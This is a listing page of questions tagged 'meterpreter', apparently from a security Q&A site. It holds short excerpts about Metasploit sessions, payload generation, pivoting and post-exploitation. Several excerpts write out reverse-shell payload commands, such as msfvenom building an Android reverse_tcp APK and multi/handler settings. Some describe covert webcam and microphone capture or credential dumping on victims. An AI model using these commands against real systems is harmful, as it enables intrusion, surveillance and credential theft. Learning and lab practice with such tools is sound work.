Questions tagged [meterpreter]

The tag has no usage guidance.

Filter by
Sorted by
Tagged with
1
vote
2answers
335 views

Is it possible to execute metasploit exploits from Meterpreter?

I have an attack scenario, first I send a malicious pdf to my victim, then I have a reverse tcp shell (Meterpreter session) on his computer then I want to exploit a samba server (which is already ...
1
vote
0answers
68 views

How does meterpreter STDAPI bypass window's webcam restriction's settings

How does the stdapi commands 'webcam_snap' and 'webcam_stream' in meterpreter session bypass webcam restrictions/privacy settings on windows? I want to know how one could replicate this for prevention ...
1
vote
0answers
164 views

seDebugPrivilege and OpenProcess() - Trying to understand how Windows restricts access to a process' virtual memory

I’ve been trying to understand how operating systems protect processes from each other. My understanding of Windows security is that a process can call OpenProcess() (thereby allowing read and write ...
1
vote
1answer
264 views

Cannot execute program with Meterpreter on target OS

I'm a uni student taking a course on cybersecurity and what I am attempting to do is solely for educational purposes and not malicious. I used the eternalblue exploit to gain access to the victim's ...
1
vote
0answers
187 views

Meterpreter record_mic automation

I am toying with the record_mic function on my laptop and noticed that no matter what i do i cannot capture a stream longer than 12 seconds or i get timeout errors. I thought this was a limitation of ...
1
vote
1answer
3k views

How to connect to a meterpreter session opened manually on the target machine

I am trying to exploit a Windows 7 VM using metasploit. I was able to open a java meterpreter session and I want to access a native meterpreter. To do so I exported a meterpreter/reverse_tcp payload ...
1
vote
0answers
40 views

Proxychains to access ports on the same host

This might be an incredible dumb question but I need to know if this concept is even possible. I have obtained a low privileged shell on a target machine. After doing some enumeration I know the host ...
1
vote
1answer
894 views

Get the privileges of root with the user with I do an exploit with Shellshock [closed]

I got the remote control of a linux machine with Shellshock attack in Kali Linux (attacker machine) to a TinyCore Linux (victim machine), I used this module to attack the CGI vulnerability: use ...
1
vote
0answers
2k views

Unable to migrate meterpreter into 64 bit process? [duplicate]

How to migrate a meterpreter process into a 64 bit process? When i run following exploit (ie_execcommand_uaf), it migrates into explorer which is 32 bit rather than to notepad.exe which is a 64 bit ...
1
vote
2answers
2k views

Run metasploit console resource scripts

Hi I want to do this in my lab environment: When meterpreter shell is gained, automatically I want to execute console commands such as route add, jobs -K or use some other exploit or auxiliary ...
1
vote
0answers
587 views

Android meterpreter payload crashes app

I'm trying to inject a reverse_tcp meterpreter payload into my own app for educational purposes. Loading the raw payload apk on my phone works over LAN/WAN. I injected the payload manually by ...
1
vote
1answer
480 views

Prevent metasploit meterpreter process migration [closed]

Is there any way to prevent meterpreter process migration.?
1
vote
0answers
274 views

Setup a meterpreter session trough a vpn

this is my first post here. I was trying to start a meterpreter session from a mac to my kali Linux machine trough a vpn but it isn't working. I downloaded openVPN config files from vpnbook.com and ...
1
vote
1answer
3k views

Manually migrate to another process without using metasploit? [duplicate]

There is a useful meterpreter script that allows to migrate meterpreter to another process by specifying its PID. Imagine I have my own session running. How could I migrate to another process without ...
1
vote
1answer
163 views

Meterpreter connections

If i setup a meterpreter reverse_https payload and send to multiple targets and they execute the payload whithout my handler running, when I setup the handler will they connect or do I have to have ...
1
vote
0answers
365 views

Metasploit to connect to a target behind NAT

During a pentest and I experienced a weird problem with connecting to the target machine which is behind a NAT network the scenario is basically, they have a public ip : 1.1.1.1 and there are ...
1
vote
0answers
967 views

Metasploit payloads with VPN or proxies?

I have purchased VPN with torguard and asked them to forward ports. I run a test on the VPN IP and ports specified, and says ports closed, but they say otherwise in interface. Anyway I create a ...
1
vote
1answer
3k views

Stdapi commands not showing in meterpreter session

I created a android payload with public IP (android/meterpreter/reverse_https). The stdapi commands(ls,cd,webcam_snap etc) are showing when the victim is in the same network. But when I try to ...
1
vote
0answers
903 views

web view addjavascriptinterface exploit

I have been banging my head around this for almost 56 hours now (+/- a few that I took out to have a couple of naps and RedBulls) and have not been able to get anywhere with it so far. I am trying ...
1
vote
0answers
821 views

Attaching orphaned/stageless session meterpreter

I have problems with meterpreter reverse_https. In my engagement, I saw this message in console; "Attaching orphaned/stageless session meterpreter" But after I lose connection, and victim connects ...
1
vote
0answers
1k views

Android not connected to kali linux with meterpreter in metasploit

I keep running into an error. I create an apk: msfvenom -p android/meterpreter/reverse_tcp LHOST=10.0.2.15 LPORT=4444 R > test.apk In the console, I configure the multi/handler: set PAYLOAD ...
1
vote
0answers
121 views

Metasploit Plugin not interacting with Meterpreter Client

I'm developing a plugin to automate some post exploitation tasks. Two days ago all methods that interact with the client (from the client_core and stdapi) simply don't return anything, like if in a ...
1
vote
0answers
391 views

Metasploit payload problem [closed]

Recently I tested a shell vector payload. A text file converted to .bat, which is both theoretically and practically 100% undetectable by antivirus. First I tested it on my host computer for Kali ...
1
vote
0answers
1k views

How does Metasploit's payload work with a remote target?

I have some simple questions. I often use Metasploit in my pentest engagements. It works fine when I'm inside a local network. Okay, we know that, when the payload is injected properly, it will give ...
1
vote
0answers
2k views

Meterpreter:execute command failed [closed]

When run execute -f cmd.exe -i -H, Meterpreter gave me an error: [-] stdapi_sys_process_execute: Operation failed: 1 What is causing this, and how to resolve it?
0
votes
3answers
167 views

How can clicking on a URI infect a host? [duplicate]

I watched a generic information security awareness presentation earlier, in which all that was required for the presenter to penetrate an organisation (with a meterpreter/reverse shell), was for ...
0
votes
2answers
7k views

Meterpreter commands not working in shell [closed]

I used use multi/handler followed by set PAYLOAD windows/meterpreter/reverse_tcp then set LPORT 80 and set LHOST 192.168.0.11 after that I do exploit -j -z and go on my Windows machine connected to ...
0
votes
2answers
3k views

Meterpreter reverse_https ExitOnSession

When I'm setting the options for the reverse_https handler in metasploit, why would I set ExitOnSession to false and SessionCommunicationTimeout to 0? I don't fully understand the purpose. When I used ...
0
votes
1answer
33 views

keep session alive

In this scenario where someone creates a meterpreter payload and sends it to the target that clicks on it, the person who sent the payload stays away from his PC and in that meantinme the target ...
0
votes
1answer
395 views

How to launch a Metasploit module with arguments in just one command

I am developing my first Metasploit module on Metasploit v5.0.1. I would like to launch my own module in one command with args and not using meterpreter. At this time, I launch my module with these ...
0
votes
2answers
558 views

How to use standalone meterpreter exe with a USB key connected to an unlocked victim session

When I need to make a POC about why it is dangerous to let the session unlocked, I used to put a mimikatz on an USB key and get the logon credentials in clear text. But sometimes the client has no ...
0
votes
1answer
5k views

How to set correctly set Local Host on a payload for a user outside subnet?

I'm training with labs and metasploit and there's some payloads I can send to my target and exploit it(in my subnet). If I have to exploit a payload I sent to a target outside my network which options ...
0
votes
1answer
527 views

Adding plugin to meterpreter

I'm trying to add a meterpreter plugin, a = client.railgun.kernel32.GetLogicalDrives()["return"] # Math magic to convert the binary to letters drives = [] letters = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" (...
0
votes
1answer
58 views

Help understanding pivoting and port forwading

I am trying to learn about pivoting/port forwarding and how to take full advantage of it. If I am connected to a network with the ip 192.168.0.10 and can see that 192.168.0.11 has access to a website ...
0
votes
1answer
691 views

Metasploit - Does the multi handler sends the payload, or just listens for connection

Does the metasploit module: exploit/multi/handler sends payloads to stagers? Or does it just listens for an incoming connection like a netcat listener? Or does it do both, as needed?
0
votes
1answer
3k views

How do I get back to a Meterpreter shell after backgrounding it?

Curious if any of you have an answer to this Metasploit question. It's an issue of a Metasploit session within another Metasploit session. In this lab I'm doing, I need to compromise a machine (10.10....
0
votes
1answer
740 views

Meterpreter reverse shell alternative

What can you do if you are behind NAT but can't do port forwarding and don't want to pay for a virtual server with internet-facing IP? I read the answer to this question which suggests some tunneling ...
0
votes
1answer
1k views

From SQL Injection in SQLite to shell

I need to obtain a shell from an SQL injection over an application with sqlite database. Currently my exploit looks like the following: lucian@0x90:~/$ proxychains nc 10.185.10.55 1101 ProxyChains-3....
0
votes
2answers
1k views

MSFvenom payload with dynamic options

I am using MSFvenom to export meterpreter's reverse TCP payload. While this works with msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.6.131 LPORT=4444 -f -exe > ~/Desktop/...
0
votes
1answer
729 views

How to find external ip address a payload uses to connect back to the attacker?

I find myself targeted with a malicious .apk file. I am provided with some malicious files disguised as a genuine .apk. I used apktool to decompile the file and collect some information about the ...
0
votes
2answers
1k views

Msfvenom meterpreter android architectures

Is there any android architecture I can set my meterpreter reverse_http payload to that works on every android phone? Basically, when I don't set any architecture it defaults to dalvik but that ...
0
votes
1answer
1k views

Android meterpreter invalid session

Every time I use a meterpreter reverse https on an android phone over the internet, a session is created but after some seconds it says the session is not valid and it closes. When I do it on the LAN ...
0
votes
1answer
365 views

Meterpreter Webcam_snap warnings [closed]

Since I updated metasploit every time I run the webcam_snap command in meterpreter in recieve lots of warnings like the ones below, why do they appear? Gtk-WARNING **: Theme parsing error: gtk-...
0
votes
1answer
3k views

Error when using metasploit mimikatz module

I'm working on dumping plaintext passwords from a compromised machine (it's my computer, research, blah blah blah) Anyways, I'm getting a weird error when running the metasploit module in a ...
0
votes
1answer
528 views

How can I open a meterpreter shell on the target server after redirecting the target server to my own web server hosting the payload?

Alright, so here is what I did to a vulnhub machine after I found a XSS vulnerability in it. Generated a reverse_tcp php payload and kept it within my web server. Navigated to my web server's payload ...
0
votes
0answers
34 views

Is it possible to embed a Metasploit post module in a Meterpreter payload?

For example, in order to use post/windows/manage/persistence_exe, you have to have an already established meterpreter session with target system and then run it. Is it possible to generate a SINGLE ...
0
votes
0answers
36 views

Exploit remote server through routing on existing meterpreter session

Trying to pivot from an existing meterpreter session on remote machine to a DC server (ip 172.16.13.26) using ms17_101_psexec module. (I know this module woorks on this server). Existing meterpreter ...
0
votes
0answers
26 views

Auto execute meterpreter commands on session start(android) [duplicate]

I want my meterpreter to execute the command as soon as it gets the session. My payload is android/meterpreter/reverse_tcp I want a file that can execute these commands automatically as soon as ...
0
votes
0answers
1k views

Meterpreter is failing to load any extension except the core commands

[*] Starting persistent handler(s)... msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_https PAYLOAD => windows/meterpreter/reverse_https ...
0
votes
1answer
190 views

How to response to Meterpreter HTTP Request sent from client

First of all apologies for mistakes as i am at beginner level. I was exploring Meterpreter HTTP Handler. I have created a payload with meterpreter reverse HTTP and writing my own http server for ...